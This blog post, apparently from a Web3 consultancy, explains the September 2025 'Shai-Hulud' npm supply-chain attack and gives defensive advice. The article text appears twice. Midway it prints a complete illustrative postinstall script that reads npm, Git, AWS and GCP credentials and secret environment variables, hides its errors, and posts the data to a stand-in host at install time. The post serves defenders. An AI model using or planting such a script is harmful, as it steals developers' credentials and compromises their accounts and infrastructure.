From blockchain fundamentals to advanced DevOps and Web3 systems, we break down complex tech into practical, developer-friendly insights.
From blockchain fundamentals to advanced DevOps and Web3 systems, we break down complex tech into practical, developer-friendly insights.

Reth Mainnet Bug Explained: Ethereum State Root Mismatch Incident (Sept 2025)
Dive into the September 2025 Reth Ethereum client bug post-mortem. We explain the state root mismatch caused by corrupted tries, its impact, and how it was fixed.

When IDE Extensions Attack: The Cursor Story
Learn how the Cursor security incident exposed a new threat to Web3 developers. This guide explains supply chain attacks on IDEs and provides actionable steps to protect your private keys and digital assets.

BlockBlaster Steam Game Hack Drains Crypto
The BlockBlaster Steam game hack in September 2025 exposed how crypto-draining malware can infiltrate trusted platforms. Learn how to protect your digital assets and navigate the future of Web3 gaming

Reth Mainnet Bug Explained: Ethereum State Root Mismatch Incident (Sept 2025)
Dive into the September 2025 Reth Ethereum client bug post-mortem. We explain the state root mismatch caused by corrupted tries, its impact, and how it was fixed.

When IDE Extensions Attack: The Cursor Story
Learn how the Cursor security incident exposed a new threat to Web3 developers. This guide explains supply chain attacks on IDEs and provides actionable steps to protect your private keys and digital assets.

BlockBlaster Steam Game Hack Drains Crypto
The BlockBlaster Steam game hack in September 2025 exposed how crypto-draining malware can infiltrate trusted platforms. Learn how to protect your digital assets and navigate the future of Web3 gaming

Subscribe to Ancilar

Subscribe to Ancilar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers


In software development, trust isn’t just a nice-to-have; it’s the foundation that makes our work possible. Every day, we reach for open-source packages to save time, avoid reinventing the wheel, and stand on the shoulders of others. We rarely think twice about installing that next update. But what happens when that trust is misplaced? When a minor package update carries something darker under the hood?
That’s not a “what if” anymore. In September 2025, the industry faced a sharp reminder of its dependency risks. A coordinated supply chain attack, later given the name “Shai-Hulud” - managed to compromise more than 180 npm packages. The campaign started with @ctrl/tinycolor, a small but widely adopted library. This wasn’t a smash-and-grab breach. It was a carefully staged, multi-layered operation with one clear mission: to capture developer credentials and secrets on a large scale.
The lesson? Our supply chain isn’t just a tool that helps us move faster. It can also be the doorway adversaries use to walk right into our projects. The question every developer and organization must ask now is simple: is your supply chain protecting you - or quietly undermining you?
The Shai-Hulud campaign began with malicious releases of @ctrl/tinycolor, specifically versions 4.1.1 and 4.1.2. At first glance, these versions seemed like normal updates. But inside their install scripts lurked hidden code that scanned local environments for sensitive tokens and configuration files.
@ctrl/tinycolor might seem minor, but it sits inside countless projects and frameworks. That ubiquity made it a powerful entry point. Once installed, the backdoored versions quietly searched for npm tokens, GitHub PATs, and cloud service credentials for AWS and GCP. Stolen data was funneled to attacker-controlled servers.
From there, the adversaries escalated. Using captured npm tokens, they pushed tainted releases of additional packages owned by those same developers. The compromise didn’t just hit one library — it rippled across more than 180, creating a web of infections throughout the ecosystem.
One detail that remains unresolved is attribution. No known group has stepped forward to claim responsibility, and no public report has definitively named a threat actor. Still, the methods align with patterns we’ve seen before in the npm ecosystem.
Most supply chain compromises fall into two familiar categories:
Stolen maintainer credentials. This was the case with ua-parser-js and coa in 2021, where attackers phished or otherwise obtained npm login tokens and used them to publish malicious updates.
Hijacked or abandoned packages. The well-known event-stream attack back in 2018 showed how convincing a maintainer to hand over publishing rights could give an attacker the keys to the kingdom.
Evidence suggests Shai-Hulud leaned on the first tactic. The malicious @ctrl/tinycolor versions came directly from the legitimate maintainer account, which strongly implies that the attacker had stolen credentials. With that foothold, they were able to push trusted but tainted releases, which npm clients accepted as authentic.
Once the first breach was successful, the attackers snowballed their access. By harvesting more developer tokens, they gained the ability to poison additional packages. That cascading effect is why the incident spread so far and so quickly.
The attackers picked @ctrl/tinycolor not because it was flashy, but because it was everywhere. By compromising a single maintainer account, they slipped code into releases that thousands of developers would consume automatically. Since the updates were published by a verified account, most teams never questioned them.
The malicious logic was tucked inside the post-install script, a spot that runs automatically after installation and rarely gets reviewed in depth. That choice gave the attackers both stealth and scale.
The payload was minimal but effective. It scanned local file paths, grabbed environment variables, and exfiltrated the results to a command-and-control server. Because the traffic was wrapped in HTTPS, it blended in with everyday network noise.
Here’s a simplified illustration of what such a script might look like:
// postinstall.js - a malicious script disguised within a legitimate package
const fs = require('fs');
const path = require('path');
const https = require('https');
// The exfiltration server URL is often obfuscated
const EXFILTRATION_SERVER = '<https://malicious-server.com/collect>';
// Function to collect and exfiltrate credentials
function collectAndExfiltrate() {
// A. Check for sensitive files and environment variables
const sensitiveFiles = [
path.join(process.env.HOME, '.npmrc'), // NPM credentials
path.join(process.env.HOME, '.git-credentials'), // Git credentials
path.join(process.env.HOME, '.aws', 'credentials'), // AWS secrets
path.join(process.env.HOME, '.gcloud', 'credentials.json') // GCP secrets
];
let secrets = {};
sensitiveFiles.forEach(filePath => {
try {
if (fs.existsSync(filePath)) {
secrets[path.basename(filePath)] = fs.readFileSync(filePath, 'utf-8');
}
} catch (e) {
// B. Fail silently to avoid detection
}
});
// C. Capture environment variables that might hold secrets
const envSecrets = {
'NPM_TOKEN': process.env.NPM_TOKEN,
'GITHUB_TOKEN': process.env.GITHUB_TOKEN,
'AWS_ACCESS_KEY_ID': process.env.AWS_ACCESS_KEY_ID,
'GCP_ACCESS_TOKEN': process.env.GCP_ACCESS_TOKEN
};
Object.keys(envSecrets).forEach(key => {
if (envSecrets[key]) {
secrets[key] = envSecrets[key];
}
});
// D. Send the collected data to the malicious server
const postData = JSON.stringify(secrets);
const options = {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = https.request(EXFILTRATION_SERVER, options, (res) => {
// E. Ignore the response to prevent logging
});
req.on('error', (e) => {
// F. Ignore network errors to prevent detection
});
req.write(postData);
req.end();
}
// G. Execute the function upon package installation
collectAndExfiltrate();
Notice how the script targets common credential locations, suppresses errors to stay quiet, and sends data over HTTPS so it blends into normal activity. By running instantly at install, it collected secrets before developers even knew anything was wrong.
The attack put a spotlight on security blind spots many teams share:
Credential hygiene: Long-lived tokens and overly broad permissions make attackers’ jobs far easier.
Limited visibility into builds: Most organizations don’t log or inspect build-time network activity, so silent exfiltration often goes unnoticed.
Overconfidence in popular packages: Popularity isn’t a proxy for security. If anything, widely used packages are more attractive to attackers.
Investigators eventually found that more than 34 GitHub accounts had been compromised. Each one hosted a repository named “Shai-Hulud.” These repos weren’t decoys — they contained dumps of exfiltrated credentials and secrets. By using legitimate GitHub infrastructure as storage, the attackers further obscured their activity and complicated detection.
Audit dependencies often. Popularity doesn’t guarantee safety. Tools like npm audit and software composition analysis (SCA) scanners help, but manual reviews of install scripts are just as important.
Rotate and scope tokens. Treat tokens like passwords: short-lived, rotated frequently, and restricted to only what’s necessary.
Apply least privilege. CI/CD pipelines and automation accounts should not hold account-wide permissions.
Watch for suspicious build-time traffic. An unexplained outbound request during installation is a serious red flag.
React quickly. When a malicious package is identified, remove or downgrade it immediately, rotate credentials, and notify your team.
The Shai-Hulud campaign shows how a single stolen credential can cascade into a wide-scale breach. By exploiting trust in package maintainers and the inertia of automated installs, attackers spread malware across hundreds of projects without immediate detection.
The solution is not panic but discipline. Adopting a zero-trust posture toward dependencies, investing in automated monitoring, and treating credentials with the same rigor as production secrets are all part of the answer.
Open-source thrives on collaboration, but collaboration must be paired with vigilance. If developers and organizations make these security practices part of their everyday workflow, the software ecosystem becomes stronger, safer, and far less attractive to attackers.
Let’s build something incredible together.
Email us at hello@ancilar.com
Explore more: www.ancilar.com
In software development, trust isn’t just a nice-to-have; it’s the foundation that makes our work possible. Every day, we reach for open-source packages to save time, avoid reinventing the wheel, and stand on the shoulders of others. We rarely think twice about installing that next update. But what happens when that trust is misplaced? When a minor package update carries something darker under the hood?
That’s not a “what if” anymore. In September 2025, the industry faced a sharp reminder of its dependency risks. A coordinated supply chain attack, later given the name “Shai-Hulud” - managed to compromise more than 180 npm packages. The campaign started with @ctrl/tinycolor, a small but widely adopted library. This wasn’t a smash-and-grab breach. It was a carefully staged, multi-layered operation with one clear mission: to capture developer credentials and secrets on a large scale.
The lesson? Our supply chain isn’t just a tool that helps us move faster. It can also be the doorway adversaries use to walk right into our projects. The question every developer and organization must ask now is simple: is your supply chain protecting you - or quietly undermining you?
The Shai-Hulud campaign began with malicious releases of @ctrl/tinycolor, specifically versions 4.1.1 and 4.1.2. At first glance, these versions seemed like normal updates. But inside their install scripts lurked hidden code that scanned local environments for sensitive tokens and configuration files.
@ctrl/tinycolor might seem minor, but it sits inside countless projects and frameworks. That ubiquity made it a powerful entry point. Once installed, the backdoored versions quietly searched for npm tokens, GitHub PATs, and cloud service credentials for AWS and GCP. Stolen data was funneled to attacker-controlled servers.
From there, the adversaries escalated. Using captured npm tokens, they pushed tainted releases of additional packages owned by those same developers. The compromise didn’t just hit one library — it rippled across more than 180, creating a web of infections throughout the ecosystem.
One detail that remains unresolved is attribution. No known group has stepped forward to claim responsibility, and no public report has definitively named a threat actor. Still, the methods align with patterns we’ve seen before in the npm ecosystem.
Most supply chain compromises fall into two familiar categories:
Stolen maintainer credentials. This was the case with ua-parser-js and coa in 2021, where attackers phished or otherwise obtained npm login tokens and used them to publish malicious updates.
Hijacked or abandoned packages. The well-known event-stream attack back in 2018 showed how convincing a maintainer to hand over publishing rights could give an attacker the keys to the kingdom.
Evidence suggests Shai-Hulud leaned on the first tactic. The malicious @ctrl/tinycolor versions came directly from the legitimate maintainer account, which strongly implies that the attacker had stolen credentials. With that foothold, they were able to push trusted but tainted releases, which npm clients accepted as authentic.
Once the first breach was successful, the attackers snowballed their access. By harvesting more developer tokens, they gained the ability to poison additional packages. That cascading effect is why the incident spread so far and so quickly.
The attackers picked @ctrl/tinycolor not because it was flashy, but because it was everywhere. By compromising a single maintainer account, they slipped code into releases that thousands of developers would consume automatically. Since the updates were published by a verified account, most teams never questioned them.
The malicious logic was tucked inside the post-install script, a spot that runs automatically after installation and rarely gets reviewed in depth. That choice gave the attackers both stealth and scale.
The payload was minimal but effective. It scanned local file paths, grabbed environment variables, and exfiltrated the results to a command-and-control server. Because the traffic was wrapped in HTTPS, it blended in with everyday network noise.
Here’s a simplified illustration of what such a script might look like:
// postinstall.js - a malicious script disguised within a legitimate package
const fs = require('fs');
const path = require('path');
const https = require('https');
// The exfiltration server URL is often obfuscated
const EXFILTRATION_SERVER = '<https://malicious-server.com/collect>';
// Function to collect and exfiltrate credentials
function collectAndExfiltrate() {
// A. Check for sensitive files and environment variables
const sensitiveFiles = [
path.join(process.env.HOME, '.npmrc'), // NPM credentials
path.join(process.env.HOME, '.git-credentials'), // Git credentials
path.join(process.env.HOME, '.aws', 'credentials'), // AWS secrets
path.join(process.env.HOME, '.gcloud', 'credentials.json') // GCP secrets
];
let secrets = {};
sensitiveFiles.forEach(filePath => {
try {
if (fs.existsSync(filePath)) {
secrets[path.basename(filePath)] = fs.readFileSync(filePath, 'utf-8');
}
} catch (e) {
// B. Fail silently to avoid detection
}
});
// C. Capture environment variables that might hold secrets
const envSecrets = {
'NPM_TOKEN': process.env.NPM_TOKEN,
'GITHUB_TOKEN': process.env.GITHUB_TOKEN,
'AWS_ACCESS_KEY_ID': process.env.AWS_ACCESS_KEY_ID,
'GCP_ACCESS_TOKEN': process.env.GCP_ACCESS_TOKEN
};
Object.keys(envSecrets).forEach(key => {
if (envSecrets[key]) {
secrets[key] = envSecrets[key];
}
});
// D. Send the collected data to the malicious server
const postData = JSON.stringify(secrets);
const options = {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = https.request(EXFILTRATION_SERVER, options, (res) => {
// E. Ignore the response to prevent logging
});
req.on('error', (e) => {
// F. Ignore network errors to prevent detection
});
req.write(postData);
req.end();
}
// G. Execute the function upon package installation
collectAndExfiltrate();
Notice how the script targets common credential locations, suppresses errors to stay quiet, and sends data over HTTPS so it blends into normal activity. By running instantly at install, it collected secrets before developers even knew anything was wrong.
The attack put a spotlight on security blind spots many teams share:
Credential hygiene: Long-lived tokens and overly broad permissions make attackers’ jobs far easier.
Limited visibility into builds: Most organizations don’t log or inspect build-time network activity, so silent exfiltration often goes unnoticed.
Overconfidence in popular packages: Popularity isn’t a proxy for security. If anything, widely used packages are more attractive to attackers.
Investigators eventually found that more than 34 GitHub accounts had been compromised. Each one hosted a repository named “Shai-Hulud.” These repos weren’t decoys — they contained dumps of exfiltrated credentials and secrets. By using legitimate GitHub infrastructure as storage, the attackers further obscured their activity and complicated detection.
Audit dependencies often. Popularity doesn’t guarantee safety. Tools like npm audit and software composition analysis (SCA) scanners help, but manual reviews of install scripts are just as important.
Rotate and scope tokens. Treat tokens like passwords: short-lived, rotated frequently, and restricted to only what’s necessary.
Apply least privilege. CI/CD pipelines and automation accounts should not hold account-wide permissions.
Watch for suspicious build-time traffic. An unexplained outbound request during installation is a serious red flag.
React quickly. When a malicious package is identified, remove or downgrade it immediately, rotate credentials, and notify your team.
The Shai-Hulud campaign shows how a single stolen credential can cascade into a wide-scale breach. By exploiting trust in package maintainers and the inertia of automated installs, attackers spread malware across hundreds of projects without immediate detection.
The solution is not panic but discipline. Adopting a zero-trust posture toward dependencies, investing in automated monitoring, and treating credentials with the same rigor as production secrets are all part of the answer.
Open-source thrives on collaboration, but collaboration must be paired with vigilance. If developers and organizations make these security practices part of their everyday workflow, the software ecosystem becomes stronger, safer, and far less attractive to attackers.
Let’s build something incredible together.
Email us at hello@ancilar.com
Explore more: www.ancilar.com
No activity yet